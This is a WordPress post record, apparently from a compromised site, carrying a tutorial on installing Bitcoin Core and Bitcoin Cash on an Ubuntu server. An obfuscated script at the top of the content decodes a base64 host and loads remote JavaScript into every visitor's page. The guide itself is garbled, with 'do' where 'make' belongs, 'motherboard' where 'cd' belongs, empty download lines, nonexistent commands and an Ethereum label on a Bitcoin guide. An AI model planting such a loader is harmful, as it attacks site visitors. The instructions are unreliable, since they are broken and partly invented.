{"id":21070,"date":"2025-02-13T02:16:42","date_gmt":"2025-02-13T02:16:42","guid":{"rendered":"https:\/\/en.ppottina.com\/?p=21070"},"modified":"2025-02-13T02:16:42","modified_gmt":"2025-02-13T02:16:42","slug":"ethereum-how-to-install-bitcoin-and-bitcoin-cash-on-the-same-ubuntu-server","status":"publish","type":"post","link":"https:\/\/en.ppottina.com\/?p=21070","title":{"rendered":"Ethereum: how to install Bitcoin and bitcoin cash on the same ubuntu server?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=2c9beed0\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Installing Bitcoin and Bitcoin Cash on an Ubuntu Server<\/strong><\/p>\n<p>In this article, we will walk you through the process of installing Bitcoin Core (BTC) and Bitcoin Cash (BCH) on an Ubuntu server.<\/p>\n<p><strong>Prerequisites:<\/strong><\/p>\n<ul>\n<li>Ubuntu 18.04 or later (in this example we will use 20.04)<\/li>\n<\/ul>\n<ul>\n<li>Basic understanding of Linux commands<\/li>\n<\/ul>\n<ul>\n<li>Your system must have the following packages installed:<\/li>\n<\/ul>\n<p><pre><code><\/p><p>sudo apt update<\/p><p>sudo apt install -y curl git build-essential libssl-dev libz-dev libidn2-dev lzo-dev libsnmp-dev<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 1: Download and Unpack Bitcoin Cash<\/strong><\/p>\n<p>First, you need to download the Bitcoin Cash (BCH) package:<\/p>\n<p><pre><code><\/p><p>download <\/p><p>tar xzf bcc-0.32.0.tar.gz<\/p><p>cd bcc-0.32.0<\/p><p><\/code><\/pre>\n<\/p>\n<p>This will unpack the BCH archive and create directory structure.<\/p>\n<p><strong>Step 2: Configure Bitcoin Cash<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: how to install Bitcoin and bitcoin cash on the same ubuntu server?\n\" src=\"https:\/\/en.ppottina.com\/wp-content\/uploads\/2025\/02\/3551c891.png\"><\/p>\n<p>Before you can start using Bitcoin Cash, you need to configure it:<\/p>\n<p><pre><code><\/p><p>.\/configure --prefix=\/usr\/local\/bin<\/p><p><\/code><\/pre>\n<\/p>\n<p>This command configures Bitcoin Cash on your Ubuntu system.<\/p>\n<p><strong>Step 3: Build and Install Bitcoin Cash<\/strong><\/p>\n<p>Now that you have configured Bitcoin Cash, you can compile the package:<\/p>\n<p><pre><code><\/p><p>do -j$(nproc)<\/p><p>sudo do install<\/p><p><\/code><\/pre>\n<\/p>\n<p>The <code>-j<\/code> option specifies the number of CPU cores to use during compilation. The <code>(nproc)<\/code> command counts the available CPU cores.<\/p>\n<p><strong>Step 4: Configure and Install Bitcoin Core (BTC)<\/strong><\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/OTXBOoVk0eY\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>Next, you need to download and unpack the Bitcoin Core package:<\/p>\n<p><pre><code><\/p><p>download <\/p><p>tar xzf Bitcoin-Qt-0.19.1.tar.gz<\/p><p>Bitcoin-Qt-0.19.1 motherboard<\/p><p><\/code><\/pre>\n<\/p>\n<p>This will unpack the Bitcoin Core archive and create a directory structure.<\/p>\n<p><strong>Step 5: Configure and Build Bitcoin Core (BTC)<\/strong><\/p>\n<p>Before you can start using Bitcoin Core, you need to configure it:<\/p>\n<p><pre><code><\/p><p>.\/configure --prefix=\/usr\/local\/bin<\/p><p><\/code><\/pre>\n<\/p>\n<p>Then build the package:<\/p>\n<p><pre><code><\/p><p>do -j$(nproc)<\/p><p>sudo do install<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 6: Add Bitcoin Cash and Bitcoin Core to your system<\/strong><\/p>\n<p>Once both packages are installed, you need to add them to your system PATH so that you can use them from anywhere on your server.<\/p>\n<p><pre><code><\/p><p>sudo ln -s \/usr\/local\/bin\/bcc \/usr\/local\/bin\/<\/p><p>sudo ln -s \/usr\/local\/bin\/Bitcoin-Qt \/usr\/local\/bin\/<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Step 7: Verify Your Installation<\/strong><\/p>\n<p>To verify that you have successfully installed Bitcoin Cash and Bitcoin Core, run the Bitcoin client:<\/p>\n<p><pre><code><\/p><p>bitcoin-client --address=your-bch-address-here<\/p><p><\/code><\/pre>\n<\/p>\n<p>Replace <code>your-bch-address<\/code> with your BCH wallet address.<\/p>\n<p>And if you want to use Bitcoin Cash for payments or other purposes:<\/p>\n<p><pre><code><\/p><p>bitcoxcash-cli --address=your-bitcoin-cash-address-here -l 2&gt;\/home\/user\/your-bitcoin-cash-logs\/<\/p><p><\/code><\/pre>\n<\/p>\n<p>Replace <code>your-bitcoin-cash-address-here<\/code> with your BCH wallet address, and the <code>-l<\/code> option will specify the logging level.<\/p>\n<p><strong>Troubleshooting<\/strong><\/p>\n<p>If you encounter any issues during the installation process, check the Bitcoin Core documentation for troubleshooting tips: &lt;<\/p>\n<p>You can also contact the Bitcoin Community Support or visit the official Bitcoin website (&lt; where you will find extensive resources and tutorials to learn more about cryptocurrencies.<\/p>\n<p>By following these steps, you have successfully installed Bitcoin Cash on your Ubuntu server with Bitcoin Core.<\/p>\n<p><a href=\"https:\/\/gemjute.com\/ethereum-why-is-only-one-of-my-proxy-facets-showing-up-on-etherscan-contract-verification\/\">ethereum proxy etherscan contract<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Installing Bitcoin and Bitcoin Cash on an Ubuntu Server In this article, we will walk you through the process of<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-21070","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts\/21070","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21070"}],"version-history":[{"count":0,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts\/21070\/revisions"}],"wp:attachment":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21070"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21070"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21070"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}